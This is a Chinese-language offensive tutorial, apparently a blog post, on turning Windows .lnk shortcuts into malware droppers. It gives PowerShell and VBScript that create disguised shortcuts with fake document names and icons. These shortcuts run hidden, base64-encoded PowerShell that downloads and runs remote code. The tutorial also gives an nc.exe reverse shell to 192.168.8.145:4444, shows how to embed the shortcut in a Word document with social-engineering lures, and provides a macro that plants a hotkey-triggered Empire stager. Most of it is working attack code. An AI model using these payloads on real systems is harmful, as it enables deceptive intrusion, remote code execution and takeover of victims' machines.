快捷方式

快捷方式(lnk)是一种文件,它可以指向另一个文件、文件夹、程序、网页或其他对象,从而方便用户快速打开或运行它们。快捷方式的图标通常带有一个小箭头,表示它们不是实际的对象,而是链接到对象的。

我们可以使用图形化创建快捷方式文件:

PowerShell

我们可以通过PowerShell脚本创建或更改快捷方式。

  • 创建快捷方式
$payload="IEX ((new-object net.webclient).downloadstring('http://192.168.8.1:80/evil.exe'))"
$ENCODED = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))

$path=".\ImportantDocument.lnk"
$wshell = New-Object -ComObject Wscript.Shell
$shortcut = $wshell.CreateShortcut($path)

$shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70"

$shortcut.TargetPath = "powershell.exe"
$shortcut.Arguments = "-nop -w hidden -enc $ENCODED"
$shortcut.WorkingDirectory = "C:"
$shortcut.Description = "Nope, not malicious"

$shortcut.WindowStyle = 7

$shortcut.Save()
  • 更改快捷方式:
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("manual.pdf.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = '-args '
$Shortcut.WindowStyle      = 7
                           # 7 = Minimized window
                           # 3 = Maximized window
                           # 1 = Normal    window
$Shortcut.HotKey           = "CTRL+O"
$Shortcut.Save()
  • 创建快捷键触发的快捷方式
$path                      = "$([Environment]::GetFolderPath('Desktop'))\FakeText.lnk"
$wshell                    = New-Object -ComObject Wscript.Shell
$shortcut                  = $wshell.CreateShortcut($path)

$shortcut.IconLocation     = "C:\Windows\System32\shell32.dll,70"

$shortcut.TargetPath       = "cmd.exe"
$shortcut.Arguments        = "/c calc.exe"
$shortcut.WorkingDirectory = "C:"
$shortcut.HotKey           = "CTRL+C"
$shortcut.Description      = "Nope, not malicious"

$shortcut.WindowStyle      = 7
                           # 7 = Minimized window
                           # 3 = Maximized window
                           # 1 = Normal    window
$shortcut.Save()

(Get-Item $path).Attributes += 'Hidden' # Optional if we want to make the link invisible (prevent user clicks

Set wshell = CreateObject("WScript.Shell")

Dim path
path = wshell.SpecialFolders("Desktop") & "/FakeText.lnk"

Set shortcut              = wshell.CreateShortcut(path)
shortcut.IconLocation     = "C:\Windows\System32\shell32.dll,70"
shortcut.WindowStyle      = 7
shortcut.TargetPath       = "cmd.exe"
shortcut.Arguments        = "/c calc.exe"
shortcut.WorkingDirectory = "C:"
shortcut.HotKey           = "CTRL+C"
shortcut.Description      = "Nope, not malicious"
shortcut.Save

' Optional if we want to make the link invisible (prevent user clicks)
Set fso       = CreateObject("Scripting.FileSystemObject")
Set mf        = fso.GetFile(path)
mf.Attributes = 2

OLE嵌入简单反向shell

攻击者可以将恶意LNK文件嵌入到Word文档中,以欺骗受害者运行恶意LNK文件来交付Payload。

编写ole.ps1文件如下:

$command = "Start-Process 'C:\Users\Administrator\Desktop\nc.cmd'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("C:\Users\Administrator\Desktop\ole.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$link.arguments = "-Nop -sta -noni -w hidden $command"
$link.save()

其中nc.cmd是批处理命令:

C:\Users\Administrator\Desktop\nc.exe 192.168.8.145 4444 -e cmd.exe

使用PowerShell运行ole.ps1文件后可以生成一个名为ole的快捷方式文件:

然后我们新建一个文档,并填写部分社工技巧,然后选择”插入”功能区并添加对象:

在对象类型中选择”Package”,然后勾选显示为图标选项:

点击下方的更改图标就可以改变插入的快捷方式文件的图标了,使其更具有迷惑性:

点击确定后,就需要选择创建的软件包,我们选择生成的ole文件:

下一步就是设置卷标,然后点击完成即可看到文档中显示的更改图标后的ole文件:

双击该图标并选择运行后,即可监听到会话:

使用宏嵌入

stager我们使用Empire生成(也可以使用Metasploit),在创建stager处选择类型为multi/launcher并配置监听器即可:

我们将生成的stager保存为名ole的文件,并将其放置到网页目录中。

然后我们使用以下命令对下载命令Base64编码:

┌──(root㉿kali)-[/var/www/html/test]
└─# echo "iEx(new-object net.webclient).downloadString('http://192.168.8.145/test/ole');" | iconv -f ASCII -t UTF-16LE | base64 -w0
aQBFAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA4AC4AMQA0ADUALwB0AGUAcwB0AC8AbwBsAGUAJwApADsACgA=

然后新建一个Word文档并编辑宏代码如下:

Set wshell = CreateObject("WScript.Shell")

Dim path
path = wshell.SpecialFolders("Desktop") & "/evil.lnk"

Set shortcut = wshell.CreateShortcut(path)
shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70"
shortcut.WindowStyle = 7
shortcut.TargetPath = "powershell.exe"
shortcut.Arguments = "-nop -ep bypass -enc aQBFAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA4AC4AMQA0ADUALwB0AGUAcwB0AC8AbwBsAGUAJwApADsACgA="
shortcut.WorkingDirectory = "C:"
shortcut.HotKey = "CTRL+C"
shortcut.Description = "Nope, not malicious"
shortcut.Save

当启用宏时,桌面会生成个名为evil的快捷方式文件,此时键入CTRL+C快捷键便会执行该快捷方式文件,最后便获取到Empire会话。